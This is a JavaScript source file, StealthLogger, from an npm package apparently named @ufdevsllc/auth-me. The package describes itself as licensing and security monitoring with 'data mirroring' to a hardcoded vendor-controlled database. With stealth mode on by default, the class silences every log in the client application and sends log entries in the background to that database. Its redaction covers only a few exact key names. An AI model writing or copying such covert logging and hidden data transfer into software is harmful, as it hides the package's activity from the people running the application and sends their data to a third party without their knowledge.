@ufdevsllc/auth-me
Version:
Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection
259 lines (222 loc) • 7.9 kB
JavaScript
const StealthMode = require('./StealthMode');
/**
* StealthLogger - Wraps existing Logger to provide silent operation
* Ensures no visible logs are generated in client applications
*/
class StealthLogger {
constructor(baseLogger) {
this.baseLogger = baseLogger;
this.stealthEnabled = true;
this.internalBuffer = [];
this.maxInternalBuffer = 100;
}
/**
* Enable or disable stealth mode
* @param {boolean} enabled - Whether stealth mode is enabled
*/
setStealthMode(enabled) {
this.stealthEnabled = enabled;
}
/**
* Debug logging - silent in stealth mode
*/
debug(component, message, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
this._logInternally('DEBUG', component, message, metadata, correlationId);
return;
}
return this.baseLogger.debug(component, message, metadata, correlationId);
}
/**
* Info logging - silent in stealth mode
*/
info(component, message, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
this._logInternally('INFO', component, message, metadata, correlationId);
return;
}
return this.baseLogger.info(component, message, metadata, correlationId);
}
/**
* Warning logging - silent in stealth mode
*/
warn(component, message, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
this._logInternally('WARN', component, message, metadata, correlationId);
return;
}
return this.baseLogger.warn(component, message, metadata, correlationId);
}
/**
* Error logging - silent in stealth mode
*/
error(component, message, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
this._logInternally('ERROR', component, message, metadata, correlationId);
return;
}
return this.baseLogger.error(component, message, metadata, correlationId);
}
/**
* Critical logging - silent in stealth mode
*/
critical(component, message, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
this._logInternally('CRITICAL', component, message, metadata, correlationId);
return;
}
return this.baseLogger.critical(component, message, metadata, correlationId);
}
/**
* Operation logging - silent in stealth mode
*/
logOperation(component, operation, status, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
const message = `Operation ${operation} ${status}`;
this._logInternally(status === 'failed' ? 'ERROR' : 'INFO', component, message, {
operation,
status,
...metadata
}, correlationId);
return;
}
return this.baseLogger.logOperation(component, operation, status, metadata, correlationId);
}
/**
* Performance logging - silent in stealth mode
*/
logPerformance(component, operation, duration, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
this._logInternally('INFO', component, `Performance: ${operation}`, {
operation,
duration,
unit: 'ms',
...metadata
}, correlationId);
return;
}
return this.baseLogger.logPerformance(component, operation, duration, metadata, correlationId);
}
/**
* Create child logger - returns stealth version
*/
createChildLogger(component, defaultMetadata = {}) {
const childLogger = this.baseLogger.createChildLogger(component, defaultMetadata);
return new StealthChildLogger(childLogger, this.stealthEnabled);
}
/**
* Get internal logs (for debugging purposes only)
* @returns {Array} - Internal log buffer
*/
getInternalLogs() {
return [...this.internalBuffer];
}
/**
* Clear internal log buffer
*/
clearInternalLogs() {
this.internalBuffer = [];
}
/**
* Get stealth statistics
* @returns {Object} - Stealth logging statistics
*/
getStealthStats() {
return {
stealthEnabled: this.stealthEnabled,
internalBufferSize: this.internalBuffer.length,
maxInternalBuffer: this.maxInternalBuffer
};
}
// Private methods
/**
* Log internally without external output
*/
_logInternally(level, component, message, metadata = {}, correlationId = null) {
const logEntry = {
timestamp: new Date().toISOString(),
level,
component,
message,
metadata: this._sanitizeMetadata(metadata),
correlationId,
stealth: true
};
this.internalBuffer.push(logEntry);
// Maintain buffer size
if (this.internalBuffer.length > this.maxInternalBuffer) {
this.internalBuffer.shift();
}
// Only log to secure database if available and stealth allows it
if (this.baseLogger.secureConnection && this.baseLogger.config.enableSecureDatabase) {
StealthMode.executeStealthOperation(async () => {
await this.baseLogger._writeToSecureDatabase(logEntry);
}, { background: true });
}
}
/**
* Sanitize metadata to remove sensitive information
*/
_sanitizeMetadata(metadata) {
const sanitized = { ...metadata };
const sensitiveKeys = ['password', 'token', 'key', 'secret', 'auth', 'credential'];
for (const key of sensitiveKeys) {
if (sanitized[key]) {
sanitized[key] = '[REDACTED]';
}
}
return sanitized;
}
}
/**
* StealthChildLogger - Child logger with stealth capabilities
*/
class StealthChildLogger {
constructor(baseChildLogger, stealthEnabled) {
this.baseChildLogger = baseChildLogger;
this.stealthEnabled = stealthEnabled;
}
debug(message, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
return; // Silent operation
}
return this.baseChildLogger.debug(message, metadata, correlationId);
}
info(message, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
return; // Silent operation
}
return this.baseChildLogger.info(message, metadata, correlationId);
}
warn(message, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
return; // Silent operation
}
return this.baseChildLogger.warn(message, metadata, correlationId);
}
error(message, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
return; // Silent operation
}
return this.baseChildLogger.error(message, metadata, correlationId);
}
critical(message, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
return; // Silent operation
}
return this.baseChildLogger.critical(message, metadata, correlationId);
}
logOperation(operation, status, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
return; // Silent operation
}
return this.baseChildLogger.logOperation(operation, status, metadata, correlationId);
}
logPerformance(operation, duration, metadata = {}, correlationId = null) {
if (this.stealthEnabled) {
return; // Silent operation
}
return this.baseChildLogger.logPerformance(operation, duration, metadata, correlationId);
}
}
module.exports = StealthLogger;